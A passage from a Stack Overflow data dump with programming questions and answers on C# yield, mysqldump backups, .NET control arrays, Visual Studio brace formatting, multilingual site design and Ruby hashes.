"text": "<p>Nowadays you can use the <code>yield</code> keyword for async streams.</p>\n<blockquote>\n<p>C# 8.0 introduces async streams, which model a streaming source of data. Data streams often retrieve or generate elements asynchronously. Async streams rely on new interfaces introduced in .NET Standard 2.1. These interfaces are supported in .NET Core 3.0 and later. They provide a natural programming model for asynchronous streaming data sources.</p>\n<p>Source: <a href=\"https://learn.microsoft.com/en-us/dotnet/csharp/whats-new/tutorials/generate-consume-asynchronous-stream\" rel=\"nofollow noreferrer\">Microsoft docs</a></p>\n</blockquote>\n<p>Example below</p>\n<pre class=\"lang-cs prettyprint-override\"><code>using System;\nusing System.Collections.Generic; \nusing System.Threading.Tasks;\n\npublic class Program\n{\n public static async Task Main()\n {\n List<int> numbers = new List<int>() { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9 };\n \n await foreach(int number in YieldReturnNumbers(numbers))\n {\n Console.WriteLine(number);\n }\n }\n \n public static async IAsyncEnumerable<int> YieldReturnNumbers(List<int> numbers) \n {\n foreach (int number in numbers)\n {\n await Task.Delay(1000);\n yield return number;\n }\n }\n}\n</code></pre>\n"
}
] | 2008/09/02 | [
"https://Stackoverflow.com/questions/39476",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1409/"
] | In the [How Can I Expose Only a Fragment of IList<>](https://stackoverflow.com/questions/39447/how-can-i-expose-only-a-fragment-of-ilist) question one of the answers had the following code snippet:
```
IEnumerable<object> FilteredList()
{
foreach(object item in FullList)
{
if(IsItemInPartialList(item))
yield return item;
}
}
```
What does the yield keyword do there? I've seen it referenced in a couple places, and one other question, but I haven't quite figured out what it actually does. I'm used to thinking of yield in the sense of one thread yielding to another, but that doesn't seem relevant here. | The `yield` contextual keyword actually does quite a lot here.
The function returns an object that implements the `IEnumerable<object>` interface. If a calling function starts `foreach`ing over this object, the function is called again until it "yields". This is syntactic sugar introduced in **C# 2.0**. In earlier versions you had to create your own `IEnumerable` and `IEnumerator` objects to do stuff like this.
The easiest way understand code like this is to type-in an example, set some breakpoints and see what happens. Try stepping through this example:
```
public void Consumer()
{
foreach(int i in Integers())
{
Console.WriteLine(i.ToString());
}
}
public IEnumerable<int> Integers()
{
yield return 1;
yield return 2;
yield return 4;
yield return 8;
yield return 16;
yield return 16777216;
}
```
When you step through the example, you'll find the first call to `Integers()` returns `1`. The second call returns `2` and the line `yield return 1` is not executed again.
Here is a real-life example:
```
public IEnumerable<T> Read<T>(string sql, Func<IDataReader, T> make, params object[] parms)
{
using (var connection = CreateConnection())
{
using (var command = CreateCommand(CommandType.Text, sql, connection, parms))
{
command.CommandTimeout = dataBaseSettings.ReadCommandTimeout;
using (var reader = command.ExecuteReader())
{
while (reader.Read())
{
yield return make(reader);
}
}
}
}
}
``` |
39,536 | <p>I have a fairly small MySQL database (a Textpattern install) on a server that I do not have SSH access to (I have FTP access only). I need to regularly download the live database to my local dev server on demand; i.e., I would like to either run a script and/or have a cron job running. What are some good ways of doing this?</p>
<p>Some points to note:</p>
<ul>
<li>Live server is running Linux, Apache 2.2, PHP 5.2 and MySQL 4.1</li>
<li>Local server is running the same (so using PHP is an option), but the OS is Windows</li>
<li>Local server has Ruby on it (so using Ruby is a valid option)</li>
<li>The live MySQL db <em>can</em> accept remote connections from different IPs</li>
<li>I cannot enable replication on the remote server</li>
</ul>
<p><strong><em>Update:</em></strong> I've accepted BlaM's answer; it is beautifully simple. Can't believe I didn't think of that. There was one problem, though: I wanted to automate the process, but the proposed solution prompts the user for a password. Here is a slightly modified version of the mysqldump command that passes in the password:</p>
<p><code>mysqldump -u USER --password=MYPASSWORD DATABASE_TO_DUMP -h HOST > backup.sql</code></p>
| [
{
"answer_id": 39545,
"author": "Mark Biek",
"author_id": 305,
"author_profile": "https://Stackoverflow.com/users/305",
"pm_score": 1,
"selected": false,
"text": "<p>Is MySQL replication an option? You could even turn it on and off if you didn't want it constantly replicating.</p>\n\n<p>This was a <a href=\"http://www.howtoforge.com/mysql_database_replication\" rel=\"nofollow noreferrer\">good article</a> on replication.</p>\n"
},
{
"answer_id": 39555,
"author": "Anders Sandvig",
"author_id": 1709,
"author_profile": "https://Stackoverflow.com/users/1709",
"pm_score": 0,
"selected": false,
"text": "<p>I would create a (Ruby) script to do a <code>SELECT * FROM ...</code> on all the databases on the server and then do a <code>DROP DATABASE ...</code> followed by a series of new <code>INSERT</code>s on the local copy. You can do a <code>SHOW DATABASES</code> query to list the databases dynamically. Now, this assumes that the table structure doesn't change, but if you want to support table changes also you could add a <code>SHOW CREATE TABLE ...</code> query and a corresponding <code>CREATE TABLE</code> statement for each table in each database. To get a list of all the tables in a database you do a <code>SHOW TABLES</code> query.</p>\n\n<p>Once you have the script you can set it up as a scheduled job to run as often as you need.</p>\n"
},
{
"answer_id": 39593,
"author": "Charles Roper",
"author_id": 1944,
"author_profile": "https://Stackoverflow.com/users/1944",
"pm_score": 0,
"selected": false,
"text": "<p>@Mark Biek</p>\n\n<blockquote>\n <p>Is MySQL replication an option? You could even turn it on and off if you didn't want it constantly replicating.</p>\n</blockquote>\n\n<p>Thanks for the suggestion, but I cannot enable replication on the server. It is a shared server with very little room for maneuver. I've updated the question to note this.</p>\n"
},
{
"answer_id": 39660,
"author": "Brock Boland",
"author_id": 2185,
"author_profile": "https://Stackoverflow.com/users/2185",
"pm_score": 0,
"selected": false,
"text": "<p>Depending on how often you need to copy down live data and how quickly you need to do it, installing <a href=\"http://www.phpmyadmin.net/\" rel=\"nofollow noreferrer\">phpMyAdmin</a> on both machines might be an option. You can export and import DBs, but you'd have to do it manually. If it's a small DB (and it sounds like it is), and you don't need live data copied over too often, it might work well for what you need.</p>\n"
},
{
"answer_id": 39672,
"author": "BlaM",
"author_id": 999,
"author_profile": "https://Stackoverflow.com/users/999",
"pm_score": 4,
"selected": true,
"text": "<p>Since you can access your database remotely, you can use mysqldump from your windows machine to fetch the remote database. From commandline:</p>\n\n<pre><code>cd \"into mysql directory\"\nmysqldump -u USERNAME -p -h YOUR_HOST_IP DATABASE_TO_MIRROR >c:\\backup\\database.sql\n</code></pre>\n\n<p>The program will ask you for the database password and then generate a file c:\\backup\\database.sql that you can run on your windows machine to insert the data.</p>\n\n<p>With a small database that should be fairly fast.</p>\n"
},
{
"answer_id": 886452,
"author": "The Disintegrator",
"author_id": 92462,
"author_profile": "https://Stackoverflow.com/users/92462",
"pm_score": 2,
"selected": false,
"text": "<p>Here's what I use. This dumps the database from the live server while uploads it to the local server.\n<code>mysqldump -hlive_server_addresss -ulive_server_user -plive_server_password --opt --compress live_server_db | mysql -ulocal_server_user -plocal_server_password local_server_db</code></p>\n\n<p>You can run this from a <strong>bat</strong> file. You can ever use a scheduled task.</p>\n"
}
] | 2008/09/02 | [
"https://Stackoverflow.com/questions/39536",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1944/"
] | I have a fairly small MySQL database (a Textpattern install) on a server that I do not have SSH access to (I have FTP access only). I need to regularly download the live database to my local dev server on demand; i.e., I would like to either run a script and/or have a cron job running. What are some good ways of doing this?
Some points to note:
* Live server is running Linux, Apache 2.2, PHP 5.2 and MySQL 4.1
* Local server is running the same (so using PHP is an option), but the OS is Windows
* Local server has Ruby on it (so using Ruby is a valid option)
* The live MySQL db *can* accept remote connections from different IPs
* I cannot enable replication on the remote server
***Update:*** I've accepted BlaM's answer; it is beautifully simple. Can't believe I didn't think of that. There was one problem, though: I wanted to automate the process, but the proposed solution prompts the user for a password. Here is a slightly modified version of the mysqldump command that passes in the password:
`mysqldump -u USER --password=MYPASSWORD DATABASE_TO_DUMP -h HOST > backup.sql` | Since you can access your database remotely, you can use mysqldump from your windows machine to fetch the remote database. From commandline:
```
cd "into mysql directory"
mysqldump -u USERNAME -p -h YOUR_HOST_IP DATABASE_TO_MIRROR >c:\backup\database.sql
```
The program will ask you for the database password and then generate a file c:\backup\database.sql that you can run on your windows machine to insert the data.
With a small database that should be fairly fast. |
39,541 | <p>Maybe I just don't know .NET well enough yet, but I have yet to see a satisfactory way to implement this simple VB6 code easily in .NET (assume this code is on a form with N CommandButtons in array Command1() and N TextBoxes in array Text1()):</p>
<pre><code>Private Sub Command1_Click(Index As Integer)
Text1(Index).Text = Timer
End Sub
</code></pre>
<p>I know it's not very useful code, but it demonstrates the ease with which control arrays can be used in VB6. What is the simplest equivalent in C# or VB.NET?</p>
| [
{
"answer_id": 39544,
"author": "Lasse V. Karlsen",
"author_id": 267,
"author_profile": "https://Stackoverflow.com/users/267",
"pm_score": 0,
"selected": false,
"text": "<p>Make an array of controls.</p>\n\n<pre><code>TextBox[] textboxes = new TextBox[] {\n textBox1,\n textBox2,\n textBox3\n};\n</code></pre>\n"
},
{
"answer_id": 39548,
"author": "Mark Biek",
"author_id": 305,
"author_profile": "https://Stackoverflow.com/users/305",
"pm_score": 2,
"selected": false,
"text": "<p>Another nice thing that VB .NET does is having a single event handler that handles multiple controls:</p>\n\n<pre><code>Private Sub TextBox_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) _ \n Handles TextBox1.TextChanged, _\n\n TextBox2.TextChanged, _\n\n TextBox3.TextChanged\n\nEnd Sub\n</code></pre>\n"
},
{
"answer_id": 39552,
"author": "FlySwat",
"author_id": 1965,
"author_profile": "https://Stackoverflow.com/users/1965",
"pm_score": 1,
"selected": false,
"text": "<p>VisualBasic .NET's compatibility library contains strong typed control arrays. This is what the upgrade wizard uses to replace the current VB6 control arrays.</p>\n\n<p>However, A control array in VB6 is just a collection of objects with VB6 doing some syntax magic on the surface. In the .NET world, by removing this, they are forcing better practices.</p>\n\n<p>In closing, with the advent of generics, there is nothing stopping you from using </p>\n\n<pre><code>List<YourControl> MyControlArray.\n</code></pre>\n"
},
{
"answer_id": 39553,
"author": "Konrad Rudolph",
"author_id": 1968,
"author_profile": "https://Stackoverflow.com/users/1968",
"pm_score": 2,
"selected": false,
"text": "<p>There are two aspects.</p>\n\n<p>.NET readily supports arrays of controls, VB6 just had to use a workaround because otherwise, wiring up events was really hard. In .NET, wiring up events dynamically is easy.</p>\n\n<p>However, the .NET form designer does not support control arrays for a simple reason: arrays of controls are created/extended at run time. If you know how many controls you need at compile time (the reasoning goes) then you give them different names and don't put them in an array.</p>\n\n<blockquote>\n <p>I know it's not very useful code</p>\n</blockquote>\n\n<p>That's exactly the point. Why have a feature if it's useless?</p>\n\n<p>If needed, you can also access a control by name, resulting in something like this:</p>\n\n<pre><code>Private Sub Command_Click(sender As Object, e As EventArgs) Handles Command1.Click, Command2.Click …\n Dim name As String = DirectCast(sender, Control).Name\n Dim index As Integer = Integer.Parse(name.Substring(\"Command\".Length))\n Controls(String.Format(\"Text {0}\", index)).Text = Timer.Value.ToString()\nEnd Sub\n</code></pre>\n"
},
{
"answer_id": 39556,
"author": "Seb Nilsson",
"author_id": 2429,
"author_profile": "https://Stackoverflow.com/users/2429",
"pm_score": 4,
"selected": true,
"text": "<p>Make a generic list of textboxes:</p>\n\n<pre><code>var textBoxes = new List<TextBox>();\n\n// Create 10 textboxes in the collection\nfor (int i = 0; i < 10; i++)\n{\n var textBox = new TextBox();\n textBox.Text = \"Textbox \" + i;\n textBoxes.Add(textBox);\n}\n\n// Loop through and set new values on textboxes in collection\nfor (int i = 0; i < textBoxes.Count; i++)\n{\n textBoxes[i].Text = \"New value \" + i;\n // or like this\n var textBox = textBoxes[i];\n textBox.Text = \"New val \" + i;\n}\n</code></pre>\n"
},
{
"answer_id": 39570,
"author": "samjudson",
"author_id": 1908,
"author_profile": "https://Stackoverflow.com/users/1908",
"pm_score": 0,
"selected": false,
"text": "<p>The same click event can handle the button presses from multiple buttons in .Net. You could then add the the text box to find in the Tag property?</p>\n\n<pre><code>Private Sub AllButton_Click(sender As Object, e As EventArgs) Handles Button1.Click, Button2.Click, Button3.Click\n Dim c As Control = CType(sender, Control)\n Dim t As TextBox = FindControl(CType(c.Tag, String))\n If t Is Not Nothing Then\n t.Text = \"Clicked\"\n End If\nEnd Sub\n</code></pre>\n"
},
{
"answer_id": 39614,
"author": "Joel Coehoorn",
"author_id": 3043,
"author_profile": "https://Stackoverflow.com/users/3043",
"pm_score": 2,
"selected": false,
"text": "<p>There is no <em>real</em> 1 to 1 analog in .Net. Sure, you can make arrays or lists of controls of a specific type, but there's nothing that will do that for you automatically.</p>\n\n<p>However, I've never seen a control array that couldn't be refactored in .Net to something <em>better</em>. A case in point is your example. In the scenario you posted, you're using control arrays to pair a button up with a textbox. In .Net, you would probably do this with a custom control. The custom control would consist of a button, a textbox, and maybe a shared/static timer. The form uses several instances of this custom control. You implement the logic needed for the control once, and it's isolated to it's own source file which can be tracked and edited in source control without requiring a merge with the larger form class, or easily re-used on multiple forms or even in multiple projects. You also don't have to worry about making sure the command button index matches up with the textbox index.</p>\n\n<p>Using a custom control for this instead of a control array is loosely analogous to using class to group data instead of an array, in that you get names instead of indexes. </p>\n"
},
{
"answer_id": 2099212,
"author": "Tim Goodman",
"author_id": 254364,
"author_profile": "https://Stackoverflow.com/users/254364",
"pm_score": 0,
"selected": false,
"text": "<p>The two main benefits of control arrays in VB6 were:\n(1) They provided a way for you to iterate through a collection of controls\n(2) They allowed you to share events between controls</p>\n\n<p>(1) can be accomplished in .Net using an array of controls\n(2) can be accomplished by having one event handle multiple controls (the syntax is a little different because you use the <code>sender</code> argument instead of <code>myArray(index)</code>).</p>\n\n<p>One nice thing about .Net is that these features are decoupled. So for instance you can have controls that share events even if they aren't part of an array and have different names and even a different type. And you can iterate through a collection of controls even if they have totally different events.</p>\n"
},
{
"answer_id": 57372785,
"author": "Federico Navarrete",
"author_id": 1928691,
"author_profile": "https://Stackoverflow.com/users/1928691",
"pm_score": 0,
"selected": false,
"text": "<p>I know that my answer is quite late, but I think I found the solution. I'm not the only former VB6 developer who has struggled with this limitation of VS. Long ago, I tried to migrate a CRM that I designed, but I failed because I had a tough dependency on control arrays (hundreds in one form). I read many forums and I was able to write this simple code:</p>\n<p><strong>VB.NET:</strong></p>\n<pre><code>'To declare the List of controls\nPrivate textBoxes As List(Of TextBox) = New List(Of TextBox)()\n\nPrivate Sub Form1_Load(ByVal sender As Object, ByVal e As EventArgs)\n 'To get all controls in the form\n For Each control In Controls\n\n 'To search for the specific type that you want to create the array \n If control.[GetType]() = GetType(TextBox) Then\n textBoxes.Add(CType(control, TextBox))\n End If\n Next\n\n 'To sort the labels by the ID\n textBoxes = textBoxes.OrderBy(Function(x) x.Name).ToList()\nEnd Sub\n</code></pre>\n<p><strong>C#:</strong></p>\n<pre><code>//To declare the List of controls\nprivate List<TextBox> textBoxes = new List<TextBox>();\nprivate void Form1_Load(object sender, EventArgs e)\n{\n //To get all controls in the form\n foreach (var control in Controls)\n {\n //To search for the specific type that you want to create the array \n if (control.GetType() == typeof(TextBox))\n {\n //To add the control to the List\n textBoxes.Add((TextBox)control);\n }\n }\n\n //To sort the labels by the ID\n textBoxes = textBoxes.OrderBy(x => x.Name).ToList();\n}\n</code></pre>\n<p>There are 3 points to take into consideration:</p>\n<ol>\n<li>A <code>List</code> will help you to emulate the large collection of controls.</li>\n<li><code>typeof(Control)</code> will help you define the type of the control to add to the list.</li>\n<li>While you keep the <strong>"index"</strong> as the last character <em>(textBox<strong>1</strong>, textBox<strong>2</strong>, ..., textBox<strong>N</strong>)</em> you can create a logical order.</li>\n</ol>\n<p>Example in <strong>design mode</strong>:</p>\n<p><a href=\"https://i.stack.imgur.com/uyCjW.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/uyCjW.png\" alt=\"Many textboxes in one window\" /></a></p>\n<p><strong>Running:</strong></p>\n<p><a href=\"https://i.stack.imgur.com/atES2.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/atES2.png\" alt=\"running example\" /></a></p>\n<p>A <strong>similar logic</strong> could be potentially used in other technologies like WPF, ASP.NET (Web Forms), or Xamarin (Forms) -in my opinion-. I hope this piece of code is going to help more programmers in the future.</p>\n"
}
] | 2008/09/02 | [
"https://Stackoverflow.com/questions/39541",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/4228/"
] | Maybe I just don't know .NET well enough yet, but I have yet to see a satisfactory way to implement this simple VB6 code easily in .NET (assume this code is on a form with N CommandButtons in array Command1() and N TextBoxes in array Text1()):
```
Private Sub Command1_Click(Index As Integer)
Text1(Index).Text = Timer
End Sub
```
I know it's not very useful code, but it demonstrates the ease with which control arrays can be used in VB6. What is the simplest equivalent in C# or VB.NET? | Make a generic list of textboxes:
```
var textBoxes = new List<TextBox>();
// Create 10 textboxes in the collection
for (int i = 0; i < 10; i++)
{
var textBox = new TextBox();
textBox.Text = "Textbox " + i;
textBoxes.Add(textBox);
}
// Loop through and set new values on textboxes in collection
for (int i = 0; i < textBoxes.Count; i++)
{
textBoxes[i].Text = "New value " + i;
// or like this
var textBox = textBoxes[i];
textBox.Text = "New val " + i;
}
``` |
39,561 | <p>Trying to get my css / C# functions to look like this:</p>
<pre><code>body {
color:#222;
}
</code></pre>
<p>instead of this:</p>
<pre><code>body
{
color:#222;
}
</code></pre>
<p>when I auto-format the code.</p>
| [
{
"answer_id": 39573,
"author": "FlySwat",
"author_id": 1965,
"author_profile": "https://Stackoverflow.com/users/1965",
"pm_score": 5,
"selected": false,
"text": "<p>Tools -> Options -> Text Editor -> C# -> Formatting -> New Lines -> New Line Options for braces -> Uncheck all boxes.</p>\n"
},
{
"answer_id": 39574,
"author": "Stormenet",
"author_id": 2090,
"author_profile": "https://Stackoverflow.com/users/2090",
"pm_score": 9,
"selected": true,
"text": "<p><strong>C#</strong></p>\n<ol>\n<li>In the <em>Tools</em> Menu click <em>Options</em></li>\n<li>Click <em>Show all Parameters</em> (checkbox at the bottom left) (<em>Show all settings</em> in VS 2010)</li>\n<li>Text Editor</li>\n<li>C#</li>\n<li>Formatting</li>\n<li>New lines</li>\n</ol>\n<p>And there check when you want new lines with brackets</p>\n<p><strong>Css:</strong></p>\n<p><em>almost the same, but fewer options</em></p>\n<ol>\n<li>In the <em>Tools</em> Menu click <em>Options</em></li>\n<li>Click <em>Show all Parameters</em> (checkbox at the bottom left) (<em>Show all settings</em> in VS 2010)</li>\n<li>Text Editor</li>\n<li>CSS</li>\n<li>Format</li>\n</ol>\n<p>And than you select the formatting you want (in your case second radio button)</p>\n<p><strong>For Visual Studio 2015:</strong></p>\n<p>Tools → Options</p>\n<p>In the sidebar, go to Text Editor → C# → Formatting → New Lines</p>\n<p>and uncheck every checkbox in the section <em>"New line options for braces"</em></p>\n<p><a href=\"https://i.stack.imgur.com/Drc10.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/Drc10.png\" alt=\"enter image description here\" /></a></p>\n<p><strong>For Mac OS users:</strong><br />\nPreferences → Source Code → Code Formatting → choose what ever you want to change (like C# source code) → C# Format → Edit -→ New Lines</p>\n"
},
{
"answer_id": 39580,
"author": "Huppie",
"author_id": 1830,
"author_profile": "https://Stackoverflow.com/users/1830",
"pm_score": 2,
"selected": false,
"text": "<p>For CSS you'll need the 'Semi Expanded' option.</p>\n"
},
{
"answer_id": 39586,
"author": "Seb Nilsson",
"author_id": 2429,
"author_profile": "https://Stackoverflow.com/users/2429",
"pm_score": 4,
"selected": false,
"text": "<p>The official MS guidelines <em>(at the time in 2008)</em> tells you to have the curly brace on the same line as the method/property/class and many other things which are not enforced in Visual Studio.</p>\n\n<p>You can change all these auto-text settings under:<br />\n<strong>Tools -> Options -> Text Editor -> [The language you want to change]</strong></p>\n\n<p><strong>UPDATE:</strong> This was based on the book \"Framework Design Guidelines\" written by some of the core-people from the .NET-team. If you look at the source-code for the likes of ASP.NET MVC, <strong>this is no longer accurate</strong>.</p>\n"
},
{
"answer_id": 4420710,
"author": "stoofy",
"author_id": 539393,
"author_profile": "https://Stackoverflow.com/users/539393",
"pm_score": 2,
"selected": false,
"text": "<p>There is a specific formatting setting in VS 2008/2010 to keep the open brace on the same line:</p>\n\n<p><strong>Click Tools->Options<br/> Select 'CSS' within 'Text Editor' tree node<br/> Select 'Formatting' under 'CSS' node<br/> Click 'Semi-expanded' radio button</strong></p>\n\n<p>You will see a preview what the various radio buttons avail will do to the formatting </p>\n"
},
{
"answer_id": 17557791,
"author": "Gabriel Nahmias",
"author_id": 2285405,
"author_profile": "https://Stackoverflow.com/users/2285405",
"pm_score": 3,
"selected": false,
"text": "<p>Go to <strong><code>Tools -> Options -> Text Editor -> CSS -> Formatting</code></strong>. Click \"Semi-expanded,\" which matches the style you defined.</p>\n\n<p><img src=\"https://i.stack.imgur.com/FZkod.png\" alt=\"Options screen\"></p>\n"
},
{
"answer_id": 27399305,
"author": "Luke",
"author_id": 894792,
"author_profile": "https://Stackoverflow.com/users/894792",
"pm_score": 1,
"selected": false,
"text": "<p>If you're looking for this option within <strong>Visual Studio 2014</strong>, then it's under advanced and is now a 'Brace positions' drop down box:</p>\n\n<p><img src=\"https://i.stack.imgur.com/QbA8S.png\" alt=\"enter image description here\"></p>\n"
},
{
"answer_id": 59040000,
"author": "Reitenator",
"author_id": 6286145,
"author_profile": "https://Stackoverflow.com/users/6286145",
"pm_score": 2,
"selected": false,
"text": "<p>For Visual Studio Mac OS (Community edition) version 8.3 you need to do the following:</p>\n<p>Preferences -> Source Code (in left menu) -> Code Formatting -> C# source code -> C# Format -> Press Edit</p>\n<p><a href=\"https://i.stack.imgur.com/q7K1C.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/q7K1C.png\" alt=\"enter image description here\" /></a></p>\n<p>Select <strong>New Lines</strong> from the Category dropdown menu:</p>\n<p><a href=\"https://i.stack.imgur.com/lA8Ci.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/lA8Ci.png\" alt=\"New Lines Category\" /></a></p>\n<p>Deselect each option in the <strong>New line options for braces</strong>:</p>\n"
}
] | 2008/09/02 | [
"https://Stackoverflow.com/questions/39561",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/26/"
] | Trying to get my css / C# functions to look like this:
```
body {
color:#222;
}
```
instead of this:
```
body
{
color:#222;
}
```
when I auto-format the code. | **C#**
1. In the *Tools* Menu click *Options*
2. Click *Show all Parameters* (checkbox at the bottom left) (*Show all settings* in VS 2010)
3. Text Editor
4. C#
5. Formatting
6. New lines
And there check when you want new lines with brackets
**Css:**
*almost the same, but fewer options*
1. In the *Tools* Menu click *Options*
2. Click *Show all Parameters* (checkbox at the bottom left) (*Show all settings* in VS 2010)
3. Text Editor
4. CSS
5. Format
And than you select the formatting you want (in your case second radio button)
**For Visual Studio 2015:**
Tools → Options
In the sidebar, go to Text Editor → C# → Formatting → New Lines
and uncheck every checkbox in the section *"New line options for braces"*
[](https://i.stack.imgur.com/Drc10.png)
**For Mac OS users:**
Preferences → Source Code → Code Formatting → choose what ever you want to change (like C# source code) → C# Format → Edit -→ New Lines |
39,562 | <p>A friend of mine is now building a web application with J2EE and Struts, and it's going to be prepared to display pages in several languages.</p>
<p>I was told that the best way to support a multi-language site is to use a properties file where you store all the strings of your pages, something like:</p>
<pre><code>welcome.english = "Welcome!"
welcome.spanish = "¡Bienvenido!"
...
</code></pre>
<p>This solution is ok, but what happens if your site displays news or something like that (a blog)? I mean, content that is not static, that is updated often... The people that keep the site have to write every new entry in each supported language, and store each version of the entry in the database. The application loads only the entries in the user's chosen language.</p>
<p>How do you design the database to support this kind of implementation?</p>
<p>Thanks.</p>
| [
{
"answer_id": 39587,
"author": "Espo",
"author_id": 2257,
"author_profile": "https://Stackoverflow.com/users/2257",
"pm_score": 4,
"selected": true,
"text": "<p>They way I have designed the database before is to have an News-table containing basic info like NewsID (int), NewsPubDate (datetime), NewsAuthor (varchar/int) and then have a linked table NewsText that has these columns: NewsID(int), NewsText(text), NewsLanguageID(int). And at last you have a Language-table that has LanguageID(int) and LanguageName(varchar).</p>\n\n<p>Then, when you want to show your users the news-page you do:</p>\n\n<pre><code>SELECT NewsText FROM News INNER JOIN NewsText ON News.NewsID = NewsText.NewsID\nWHERE NewsText.NewsLanguageID = <<Session[\"UserLanguageID\"]>>\n</code></pre>\n\n<p>That Session-bit is a local variable where you store the users language when they log in or enters the site for the first time.</p>\n"
},
{
"answer_id": 41379,
"author": "reefnet_alex",
"author_id": 2745,
"author_profile": "https://Stackoverflow.com/users/2745",
"pm_score": 4,
"selected": false,
"text": "<p>Warning: I'm not a java hacker, so YMMV but...</p>\n\n<p>The problem with using a list of \"properties\" is that you need a lot of discipline. Every time you add a string that should be output to the user you will need to open your properties file, look to see if that string (or something roughly equivalent to it) is already in the file, and then go and add the new property if it isn't. On top of this, you'd have to hope the properties file was fairly human readable / editable if you wanted to give it to an external translation team to deal with. </p>\n\n<p>The database based approach is useful for all your database based content. Ideally you want to make it easy to tie pieces of content together with their translations. It only really falls down for all the places you may want to output something that <em>isn't</em> out of a database (error messages etc.). </p>\n\n<p>One fairly old technology which we find still works really well, is to use gettext. Gettext or some variant seems to be available for most languages and platforms. The basic premise is that you wrap your output in a special function call like so: </p>\n\n<pre><code>echo _(\"Please do not press this button again\");\n</code></pre>\n\n<p>Then running the gettext tools over your source code will extract all the instances wrapped like that into a \"po\" file. This will contain entries such as:</p>\n\n<pre><code>#: myfolder/my.source:239\nmsgid \"Please do not press this button again\"\nmsgstr \"\"\n</code></pre>\n\n<p>And you can add your translation to the appropriate place:</p>\n\n<pre><code>#: myfolder/my.source:239\nmsgid \"Please do not press this button again\"\nmsgstr \"s’il vous plaît ne pas appuyer sur le bouton ci-dessous à nouveau\"\n</code></pre>\n\n<p>Subsequent runs of the gettext tools simply update your po files. You don't even need to extract the po file from your source. If you know you <em>may</em> want to translate your site down the line, then you can just use the format shown above (the underscored function) with all your output. If you don't provide a po file it will just return whatever you put in the quotes. gettext is designed to work with locales so the users locale is used to retrieve the appropriate po file. This makes it really easy to add new translations.</p>\n\n<h3>Gettext Pros</h3>\n\n<ul>\n<li>Doesn't get in your way while coding</li>\n<li>Very easy to add translations</li>\n<li>PO files can be compiled down for speed</li>\n<li>There are libraries available for most languages / platforms</li>\n<li>There are good cross platform tools for dealing with translations. It is actually possible to get your translation team set up with a tool such as <a href=\"http://www.poedit.net/\" rel=\"noreferrer\">poEdit</a> to make it very easy for them to manage translation projects</li>\n</ul>\n\n<h3>Gettext Cons</h3>\n\n<ul>\n<li>Solves your site \"furniture\" needs, but you would usually still want a database based approach for your database driven content</li>\n</ul>\n\n<p>For more info on gettext see <a href=\"http://en.wikipedia.org/wiki/Gettext\" rel=\"noreferrer\">this wikipedia page</a></p>\n"
},
{
"answer_id": 42709,
"author": "reefnet_alex",
"author_id": 2745,
"author_profile": "https://Stackoverflow.com/users/2745",
"pm_score": 1,
"selected": false,
"text": "<p>@Auron</p>\n\n<p>thats what we apply it to. Our apps are all PHP, but gettext has a long heritage. </p>\n\n<p>Looks like there is a <a href=\"http://www.gnu.org/software/autoconf/manual/gettext/Java.html\" rel=\"nofollow noreferrer\">good Java implementation</a></p>\n"
},
{
"answer_id": 50669,
"author": "ScArcher2",
"author_id": 1310,
"author_profile": "https://Stackoverflow.com/users/1310",
"pm_score": 2,
"selected": false,
"text": "<p>Java web applications support internationalization using the java standard tag library.</p>\n\n<p>You've really got 2 problems. Static content and dynamic content.</p>\n\n<p>for static content you can use <a href=\"http://java.sun.com/j2ee/1.4/docs/tutorial/doc/JSTL6.html\" rel=\"nofollow noreferrer\">jstl</a>. It uses java <a href=\"http://java.sun.com/j2se/1.4.2/docs/api/java/util/ResourceBundle.html\" rel=\"nofollow noreferrer\">ResourceBundle</a>s to accomplish this. I managed to get a <a href=\"https://stackoverflow.com/questions/19295/database-backed-i18n-for-java-web-app\">Databased backed bundle</a> working with the help of this site.</p>\n\n<p>The second problem is dynamic content.\nTo solve this problem you'll need to store the data so that you can retrieve different translations based on the user's Locale. (Locale includes Country and Language).</p>\n\n<p>It's not trivial, but it is something you can do with a little planning up front.</p>\n"
},
{
"answer_id": 68873,
"author": "Andrew Swan",
"author_id": 10433,
"author_profile": "https://Stackoverflow.com/users/10433",
"pm_score": 1,
"selected": false,
"text": "<p>Tag libraries are fine if you're using JSP, but you can also achieve I18N using a template-based technology such as <a href=\"http://freemarker.sourceforge.net/\" rel=\"nofollow noreferrer\" title=\"FreeMarker\">FreeMarker</a>.</p>\n"
}
] | 2008/09/02 | [
"https://Stackoverflow.com/questions/39562",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1679/"
] | A friend of mine is now building a web application with J2EE and Struts, and it's going to be prepared to display pages in several languages.
I was told that the best way to support a multi-language site is to use a properties file where you store all the strings of your pages, something like:
```
welcome.english = "Welcome!"
welcome.spanish = "¡Bienvenido!"
...
```
This solution is ok, but what happens if your site displays news or something like that (a blog)? I mean, content that is not static, that is updated often... The people that keep the site have to write every new entry in each supported language, and store each version of the entry in the database. The application loads only the entries in the user's chosen language.
How do you design the database to support this kind of implementation?
Thanks. | They way I have designed the database before is to have an News-table containing basic info like NewsID (int), NewsPubDate (datetime), NewsAuthor (varchar/int) and then have a linked table NewsText that has these columns: NewsID(int), NewsText(text), NewsLanguageID(int). And at last you have a Language-table that has LanguageID(int) and LanguageName(varchar).
Then, when you want to show your users the news-page you do:
```
SELECT NewsText FROM News INNER JOIN NewsText ON News.NewsID = NewsText.NewsID
WHERE NewsText.NewsLanguageID = <<Session["UserLanguageID"]>>
```
That Session-bit is a local variable where you store the users language when they log in or enters the site for the first time. |
39,567 | <p>In Ruby, given an array in one of the following forms...</p>
<pre><code>[apple, 1, banana, 2]
[[apple, 1], [banana, 2]]
</code></pre>
<p>...what is the best way to convert this into a hash in the form of...</p>
<pre><code>{apple => 1, banana => 2}
</code></pre>
| [
{
"answer_id": 39621,
"author": "John Topley",
"author_id": 1450,
"author_profile": "https://Stackoverflow.com/users/1450",
"pm_score": 7,
